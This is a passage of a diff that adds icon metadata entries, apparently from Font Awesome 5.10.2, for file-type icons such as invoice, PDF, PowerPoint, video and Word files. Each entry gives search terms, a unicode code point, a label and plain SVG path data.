+ "changes": [ + "5.1.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "$", + "account", + "bill", + "charge", + "document", + "dollar-sign", + "money", + "payment", + "receipt", + "usd" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f571", + "label": "File Invoice with US Dollar", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635477, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM64 72c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8V72zm0 80v-16c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8zm144 263.88V440c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-24.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V232c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v24.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.05 44.44-42.67 45.07z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM64 72c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8V72zm0 80v-16c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8zm144 263.88V440c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-24.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V232c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v24.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.05 44.44-42.67 45.07z" + } + }, + "free": [ + "solid" + ] + }, + "file-medical": { + "changes": [ + "5.0.7", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "document", + "health", + "history", + "prescription", + "record" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f477", + "label": "Medical File", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635478, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm64 160v48c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm64 160v48c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8z" + } + }, + "free": [ + "solid" + ] + }, + "file-medical-alt": { + "changes": [ + "5.0.7", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "document", + "health", + "history", + "prescription", + "record" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f478", + "label": "Alternate Medical File", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635477, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M288 136V0H88C74.7 0 64 10.7 64 24v232H8c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h140.9c3 0 5.8 1.7 7.2 4.4l19.9 39.8 56.8-113.7c2.9-5.9 11.4-5.9 14.3 0l34.7 69.5H352c8.8 0 16 7.2 16 16s-7.2 16-16 16h-89.9L240 275.8l-56.8 113.7c-2.9 5.9-11.4 5.9-14.3 0L134.1 320H64v168c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H312c-13.2 0-24-10.8-24-24zm153-31L343.1 7c-4.5-4.5-10.6-7-17-7H320v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M288 136V0H88C74.7 0 64 10.7 64 24v232H8c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h140.9c3 0 5.8 1.7 7.2 4.4l19.9 39.8 56.8-113.7c2.9-5.9 11.4-5.9 14.3 0l34.7 69.5H352c8.8 0 16 7.2 16 16s-7.2 16-16 16h-89.9L240 275.8l-56.8 113.7c-2.9 5.9-11.4 5.9-14.3 0L134.1 320H64v168c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H312c-13.2 0-24-10.8-24-24zm153-31L343.1 7c-4.5-4.5-10.6-7-17-7H320v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z" + } + }, + "free": [ + "solid" + ] + }, + "file-pdf": { + "changes": [ + "4.1", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "acrobat", + "document", + "preview", + "save" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f1c1", + "label": "PDF File", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635479, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M181.9 256.1c-5-16-4.9-46.9-2-46.9 8.4 0 7.6 36.9 2 46.9zm-1.7 47.2c-7.7 20.2-17.3 43.3-28.4 62.7 18.3-7 39-17.2 62.9-21.9-12.7-9.6-24.9-23.4-34.5-40.8zM86.1 428.1c0 .8 13.2-5.4 34.9-40.2-6.7 6.3-29.1 24.5-34.9 40.2zM248 160h136v328c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24V24C0 10.7 10.7 0 24 0h200v136c0 13.2 10.8 24 24 24zm-8 171.8c-20-12.2-33.3-29-42.7-53.8 4.5-18.5 11.6-46.6 6.2-64.2-4.7-29.4-42.4-26.5-47.8-6.8-5 18.3-.4 44.1 8.1 77-11.6 27.6-28.7 64.6-40.8 85.8-.1 0-.1.1-.2.1-27.1 13.9-73.6 44.5-54.5 68 5.6 6.9 16 10 21.5 10 17.9 0 35.7-18 61.1-61.8 25.8-8.5 54.1-19.1 79-23.2 21.7 11.8 47.1 19.5 64 19.5 29.2 0 31.2-32 19.7-43.4-13.9-13.6-54.3-9.7-73.6-7.2zM377 105L279 7c-4.5-4.5-10.6-7-17-7h-6v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-74.1 255.3c4.1-2.7-2.5-11.9-42.8-9 37.1 15.8 42.8 9 42.8 9z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M181.9 256.1c-5-16-4.9-46.9-2-46.9 8.4 0 7.6 36.9 2 46.9zm-1.7 47.2c-7.7 20.2-17.3 43.3-28.4 62.7 18.3-7 39-17.2 62.9-21.9-12.7-9.6-24.9-23.4-34.5-40.8zM86.1 428.1c0 .8 13.2-5.4 34.9-40.2-6.7 6.3-29.1 24.5-34.9 40.2zM248 160h136v328c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24V24C0 10.7 10.7 0 24 0h200v136c0 13.2 10.8 24 24 24zm-8 171.8c-20-12.2-33.3-29-42.7-53.8 4.5-18.5 11.6-46.6 6.2-64.2-4.7-29.4-42.4-26.5-47.8-6.8-5 18.3-.4 44.1 8.1 77-11.6 27.6-28.7 64.6-40.8 85.8-.1 0-.1.1-.2.1-27.1 13.9-73.6 44.5-54.5 68 5.6 6.9 16 10 21.5 10 17.9 0 35.7-18 61.1-61.8 25.8-8.5 54.1-19.1 79-23.2 21.7 11.8 47.1 19.5 64 19.5 29.2 0 31.2-32 19.7-43.4-13.9-13.6-54.3-9.7-73.6-7.2zM377 105L279 7c-4.5-4.5-10.6-7-17-7h-6v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-74.1 255.3c4.1-2.7-2.5-11.9-42.8-9 37.1 15.8 42.8 9 42.8 9z" + }, + "regular": { + "last_modified": 1628088634803, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm250.2-143.7c-12.2-12-47-8.7-64.4-6.5-17.2-10.5-28.7-25-36.8-46.3 3.9-16.1 10.1-40.6 5.4-56-4.2-26.2-37.8-23.6-42.6-5.9-4.4 16.1-.4 38.5 7 67.1-10 23.9-24.9 56-35.4 74.4-20 10.3-47 26.2-51 46.2-3.3 15.8 26 55.2 76.1-31.2 22.4-7.4 46.8-16.5 68.4-20.1 18.9 10.2 41 17 55.8 17 25.5 0 28-28.2 17.5-38.7zm-198.1 77.8c5.1-13.7 24.5-29.5 30.4-35-19 30.3-30.4 35.7-30.4 35zm81.6-190.6c7.4 0 6.7 32.1 1.8 40.8-4.4-13.9-4.3-40.8-1.8-40.8zm-24.4 136.6c9.7-16.9 18-37 24.7-54.7 8.3 15.1 18.9 27.2 30.1 35.5-20.8 4.3-38.9 13.1-54.8 19.2zm131.6-5s-5 6-37.3-7.8c35.1-2.6 40.9 5.4 37.3 7.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm250.2-143.7c-12.2-12-47-8.7-64.4-6.5-17.2-10.5-28.7-25-36.8-46.3 3.9-16.1 10.1-40.6 5.4-56-4.2-26.2-37.8-23.6-42.6-5.9-4.4 16.1-.4 38.5 7 67.1-10 23.9-24.9 56-35.4 74.4-20 10.3-47 26.2-51 46.2-3.3 15.8 26 55.2 76.1-31.2 22.4-7.4 46.8-16.5 68.4-20.1 18.9 10.2 41 17 55.8 17 25.5 0 28-28.2 17.5-38.7zm-198.1 77.8c5.1-13.7 24.5-29.5 30.4-35-19 30.3-30.4 35.7-30.4 35zm81.6-190.6c7.4 0 6.7 32.1 1.8 40.8-4.4-13.9-4.3-40.8-1.8-40.8zm-24.4 136.6c9.7-16.9 18-37 24.7-54.7 8.3 15.1 18.9 27.2 30.1 35.5-20.8 4.3-38.9 13.1-54.8 19.2zm131.6-5s-5 6-37.3-7.8c35.1-2.6 40.9 5.4 37.3 7.8z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "file-powerpoint": { + "changes": [ + "4.1", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "display", + "document", + "keynote", + "presentation" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f1c4", + "label": "Powerpoint File", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635479, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M193.7 271.2c8.8 0 15.5 2.7 20.3 8.1 9.6 10.9 9.8 32.7-.2 44.1-4.9 5.6-11.9 8.5-21.1 8.5h-26.9v-60.7h27.9zM377 105L279 7c-4.5-4.5-10.6-7-17-7h-6v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm53 165.2c0 90.3-88.8 77.6-111.1 77.6V436c0 6.6-5.4 12-12 12h-30.8c-6.6 0-12-5.4-12-12V236.2c0-6.6 5.4-12 12-12h81c44.5 0 72.9 32.8 72.9 77z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M193.7 271.2c8.8 0 15.5 2.7 20.3 8.1 9.6 10.9 9.8 32.7-.2 44.1-4.9 5.6-11.9 8.5-21.1 8.5h-26.9v-60.7h27.9zM377 105L279 7c-4.5-4.5-10.6-7-17-7h-6v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm53 165.2c0 90.3-88.8 77.6-111.1 77.6V436c0 6.6-5.4 12-12 12h-30.8c-6.6 0-12-5.4-12-12V236.2c0-6.6 5.4-12 12-12h81c44.5 0 72.9 32.8 72.9 77z" + }, + "regular": { + "last_modified": 1628088634804, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm72-60V236c0-6.6 5.4-12 12-12h69.2c36.7 0 62.8 27 62.8 66.3 0 74.3-68.7 66.5-95.5 66.5V404c0 6.6-5.4 12-12 12H132c-6.6 0-12-5.4-12-12zm48.5-87.4h23c7.9 0 13.9-2.4 18.1-7.2 8.5-9.8 8.4-28.5.1-37.8-4.1-4.6-9.9-7-17.4-7h-23.9v52z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm72-60V236c0-6.6 5.4-12 12-12h69.2c36.7 0 62.8 27 62.8 66.3 0 74.3-68.7 66.5-95.5 66.5V404c0 6.6-5.4 12-12 12H132c-6.6 0-12-5.4-12-12zm48.5-87.4h23c7.9 0 13.9-2.4 18.1-7.2 8.5-9.8 8.4-28.5.1-37.8-4.1-4.6-9.9-7-17.4-7h-23.9v52z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "file-prescription": { + "changes": [ + "5.1.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "document", + "drugs", + "medical", + "medicine", + "rx" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f572", + "label": "File Prescription", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635480, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm68.53 179.48l11.31 11.31c6.25 6.25 6.25 16.38 0 22.63l-29.9 29.9L304 409.38c6.25 6.25 6.25 16.38 0 22.63l-11.31 11.31c-6.25 6.25-16.38 6.25-22.63 0L240 413.25l-30.06 30.06c-6.25 6.25-16.38 6.25-22.63 0L176 432c-6.25-6.25-6.25-16.38 0-22.63l30.06-30.06L146.74 320H128v48c0 8.84-7.16 16-16 16H96c-8.84 0-16-7.16-16-16V208c0-8.84 7.16-16 16-16h80c35.35 0 64 28.65 64 64 0 24.22-13.62 45.05-33.46 55.92L240 345.38l29.9-29.9c6.25-6.25 16.38-6.25 22.63 0zM176 272h-48v-32h48c8.82 0 16 7.18 16 16s-7.18 16-16 16zm208-150.1v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm68.53 179.48l11.31 11.31c6.25 6.25 6.25 16.38 0 22.63l-29.9 29.9L304 409.38c6.25 6.25 6.25 16.38 0 22.63l-11.31 11.31c-6.25 6.25-16.38 6.25-22.63 0L240 413.25l-30.06 30.06c-6.25 6.25-16.38 6.25-22.63 0L176 432c-6.25-6.25-6.25-16.38 0-22.63l30.06-30.06L146.74 320H128v48c0 8.84-7.16 16-16 16H96c-8.84 0-16-7.16-16-16V208c0-8.84 7.16-16 16-16h80c35.35 0 64 28.65 64 64 0 24.22-13.62 45.05-33.46 55.92L240 345.38l29.9-29.9c6.25-6.25 16.38-6.25 22.63 0zM176 272h-48v-32h48c8.82 0 16 7.18 16 16s-7.18 16-16 16zm208-150.1v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z" + } + }, + "free": [ + "solid" + ] + }, + "file-signature": { + "changes": [ + "5.1.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "John Hancock", + "contract", + "document", + "name" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f573", + "label": "File Signature", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635480, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M218.17 424.14c-2.95-5.92-8.09-6.52-10.17-6.52s-7.22.59-10.02 6.19l-7.67 15.34c-6.37 12.78-25.03 11.37-29.48-2.09L144 386.59l-10.61 31.88c-5.89 17.66-22.38 29.53-41 29.53H80c-8.84 0-16-7.16-16-16s7.16-16 16-16h12.39c4.83 0 9.11-3.08 10.64-7.66l18.19-54.64c3.3-9.81 12.44-16.41 22.78-16.41s19.48 6.59 22.77 16.41l13.88 41.64c19.75-16.19 54.06-9.7 66 14.16 1.89 3.78 5.49 5.95 9.36 6.26v-82.12l128-127.09V160H248c-13.2 0-24-10.8-24-24V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24v-40l-128-.11c-16.12-.31-30.58-9.28-37.83-23.75zM384 121.9c0-6.3-2.5-12.4-7-16.9L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1zm-96 225.06V416h68.99l161.68-162.78-67.88-67.88L288 346.96zm280.54-179.63l-31.87-31.87c-9.94-9.94-26.07-9.94-36.01 0l-27.25 27.25 67.88 67.88 27.25-27.25c9.95-9.94 9.95-26.07 0-36.01z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M218.17 424.14c-2.95-5.92-8.09-6.52-10.17-6.52s-7.22.59-10.02 6.19l-7.67 15.34c-6.37 12.78-25.03 11.37-29.48-2.09L144 386.59l-10.61 31.88c-5.89 17.66-22.38 29.53-41 29.53H80c-8.84 0-16-7.16-16-16s7.16-16 16-16h12.39c4.83 0 9.11-3.08 10.64-7.66l18.19-54.64c3.3-9.81 12.44-16.41 22.78-16.41s19.48 6.59 22.77 16.41l13.88 41.64c19.75-16.19 54.06-9.7 66 14.16 1.89 3.78 5.49 5.95 9.36 6.26v-82.12l128-127.09V160H248c-13.2 0-24-10.8-24-24V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24v-40l-128-.11c-16.12-.31-30.58-9.28-37.83-23.75zM384 121.9c0-6.3-2.5-12.4-7-16.9L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1zm-96 225.06V416h68.99l161.68-162.78-67.88-67.88L288 346.96zm280.54-179.63l-31.87-31.87c-9.94-9.94-26.07-9.94-36.01 0l-27.25 27.25 67.88 67.88 27.25-27.25c9.95-9.94 9.95-26.07 0-36.01z" + } + }, + "free": [ + "solid" + ] + }, + "file-upload": { + "changes": [ + "5.1.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "document", + "import", + "page", + "save" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f574", + "label": "File Upload", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635481, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm65.18 216.01H224v80c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-80H94.82c-14.28 0-21.41-17.29-11.27-27.36l96.42-95.7c6.65-6.61 17.39-6.61 24.04 0l96.42 95.7c10.15 10.07 3.03 27.36-11.25 27.36zM377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm65.18 216.01H224v80c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-80H94.82c-14.28 0-21.41-17.29-11.27-27.36l96.42-95.7c6.65-6.61 17.39-6.61 24.04 0l96.42 95.7c10.15 10.07 3.03 27.36-11.25 27.36zM377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z" + } + }, + "free": [ + "solid" + ] + }, + "file-video": { + "changes": [ + "4.1", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "document", + "m4v", + "movie", + "mp4", + "play" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f1c8", + "label": "Video File", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635482, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 121.941V128H256V0h6.059c6.365 0 12.47 2.529 16.971 7.029l97.941 97.941A24.005 24.005 0 0 1 384 121.941zM224 136V0H24C10.745 0 0 10.745 0 24v464c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V160H248c-13.2 0-24-10.8-24-24zm96 144.016v111.963c0 21.445-25.943 31.998-40.971 16.971L224 353.941V392c0 13.255-10.745 24-24 24H88c-13.255 0-24-10.745-24-24V280c0-13.255 10.745-24 24-24h112c13.255 0 24 10.745 24 24v38.059l55.029-55.013c15.011-15.01 40.971-4.491 40.971 16.97z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M384 121.941V128H256V0h6.059c6.365 0 12.47 2.529 16.971 7.029l97.941 97.941A24.005 24.005 0 0 1 384 121.941zM224 136V0H24C10.745 0 0 10.745 0 24v464c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V160H248c-13.2 0-24-10.8-24-24zm96 144.016v111.963c0 21.445-25.943 31.998-40.971 16.971L224 353.941V392c0 13.255-10.745 24-24 24H88c-13.255 0-24-10.745-24-24V280c0-13.255 10.745-24 24-24h112c13.255 0 24 10.745 24 24v38.059l55.029-55.013c15.011-15.01 40.971-4.491 40.971 16.97z" + }, + "regular": { + "last_modified": 1628088634806, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M369.941 97.941l-83.882-83.882A48 48 0 0 0 252.118 0H48C21.49 0 0 21.49 0 48v416c0 26.51 21.49 48 48 48h288c26.51 0 48-21.49 48-48V131.882a48 48 0 0 0-14.059-33.941zM332.118 128H256V51.882L332.118 128zM48 464V48h160v104c0 13.255 10.745 24 24 24h104v288H48zm228.687-211.303L224 305.374V268c0-11.046-8.954-20-20-20H100c-11.046 0-20 8.954-20 20v104c0 11.046 8.954 20 20 20h104c11.046 0 20-8.954 20-20v-37.374l52.687 52.674C286.704 397.318 304 390.28 304 375.986V264.011c0-14.311-17.309-21.319-27.313-11.314z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M369.941 97.941l-83.882-83.882A48 48 0 0 0 252.118 0H48C21.49 0 0 21.49 0 48v416c0 26.51 21.49 48 48 48h288c26.51 0 48-21.49 48-48V131.882a48 48 0 0 0-14.059-33.941zM332.118 128H256V51.882L332.118 128zM48 464V48h160v104c0 13.255 10.745 24 24 24h104v288H48zm228.687-211.303L224 305.374V268c0-11.046-8.954-20-20-20H100c-11.046 0-20 8.954-20 20v104c0 11.046 8.954 20 20 20h104c11.046 0 20-8.954 20-20v-37.374l52.687 52.674C286.704 397.318 304 390.28 304 375.986V264.011c0-14.311-17.309-21.319-27.313-11.314z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "file-word": { + "changes": [ + "4.1", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "document", + "edit", + "page", + "text", + "writing" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f1c2", + "label": "Word File", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635482, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm57.1 120H305c7.7 0 13.4 7.1 11.7 14.7l-38 168c-1.2 5.5-6.1 9.3-11.7 9.3h-38c-5.5 0-10.3-3.8-11.6-9.1-25.8-103.5-20.8-81.2-25.6-110.5h-.5c-1.1 14.3-2.4 17.4-25.6 110.5-1.3 5.3-6.1 9.1-11.6 9.1H117c-5.6 0-10.5-3.9-11.7-9.4l-37.8-168c-1.7-7.5 4-14.6 11.7-14.6h24.5c5.7 0 10.7 4 11.8 9.7 15.6 78 20.1 109.5 21 122.2 1.6-10.2 7.3-32.7 29.4-122.7 1.3-5.4 6.1-9.1 11.7-9.1h29.1c5.6 0 10.4 3.8 11.7 9.2 24 100.4 28.8 124 29.6 129.4-.2-11.2-2.6-17.8 21.6-129.2 1-5.6 5.9-9.5 11.5-9.5zM384 121.9v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm57.1 120H305c7.7 0 13.4 7.1 11.7 14.7l-38 168c-1.2 5.5-6.1 9.3-11.7 9.3h-38c-5.5 0-10.3-3.8-11.6-9.1-25.8-103.5-20.8-81.2-25.6-110.5h-.5c-1.1 14.3-2.4 17.4-25.6 110.5-1.3 5.3-6.1 9.1-11.6 9.1H117c-5.6 0-10.5-3.9-11.7-9.4l-37.8-168c-1.7-7.5 4-14.6 11.7-14.6h24.5c5.7 0 10.7 4 11.8 9.7 15.6 78 20.1 